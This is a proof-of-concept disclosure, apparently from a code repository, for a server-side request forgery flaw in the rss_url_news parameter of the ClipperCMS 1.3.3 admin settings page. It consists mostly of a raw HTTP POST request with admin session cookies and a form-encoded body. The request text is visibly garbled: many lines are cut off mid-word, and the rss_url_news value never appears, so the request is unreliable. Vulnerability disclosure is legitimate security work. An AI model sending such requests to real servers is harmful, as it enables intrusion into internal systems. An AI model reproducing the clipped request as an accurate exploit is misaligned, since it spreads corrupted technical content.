jayus0821 0923

History

1 contributor

30 lines (23 sloc) | 7.9 KB

PoC

There is a SSRF vulnerability in the rss_url_news parameter of the index.php?a=30 interface in ClipperCMS-clipper_1.3.3

http://xxxx/manager/index.php?a=30

```
POST /manager/index.php?a=30 HTTP/1.1
Host: 192.168.156.136
Content-Length: 6669
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.156.136
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Referer: http://192.168.156.136/manager/index.php?a=17
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: iCMS_ADMIN_AUTH=51bf76419l_i3_t-
1_yZJVXGwCgSQ1XfO4exCxVvHn4s8hU09WAjnkVsBo-
0gp1LoJu3_X3RBjw9g_ZEpv5avtlt4MCgPGuzQYz31RXZtB9wWh-Yh5JB6CnhL2HOsg;
```

```
my_wikiUserID=3; my_wikiUserName=123;
4c707ae227f79bf7de196947377b3e3d=da02mk81p3acuoocm7sp7jk4u2;
PHPSESSID=rfkgmjgnf85n1qcc1ii3rsqag6; SN6310b3eaca4dc=ru28c1conkikqpb0k7ualk29u5;
KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off;
KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs;
KCFINDER_displaySettings=off
Connection: close

site_id=6310b3eb4111b&settings_version=1.3.3&site_name=My+Clipper+Site&valid_hostnam
8&xhtml_urls=1&site_start=1&error_page=1&unauthorized_page=1&site_status=1&site_unav
word%2Capplication%2Fvnd.ms-
excel%2Ctext%2Fhtml%2Ctext%2Fcss%2Ctext%2Fxml%2Ctext%2Fjavascript%2Ctext%2Fplain&ser
mm-
yy&time_format=HH%3Amm%3Ass&number_of_logs=100&number_of_results=20&validate_referer
clipper_1.3.3%2FClipperCMS-
clipper_1.3.3%2Fassets%2F&rb_base_url=assets%2F&file_browser=kcfinder&upload_images=
clipper_1.3.3%2FClipperCMS-
clipper_1.3.3%2F&upload_files=aac%2Cau%2Cavi%2Ccss%2Ccache%2Cdoc%2Cdocx%2Cgz%2Cgzip%
```

Acknowledgement

Thanks to the partners who discovered the vulnerability together：

Yi-fei Gao en-ze wang lin-jie wu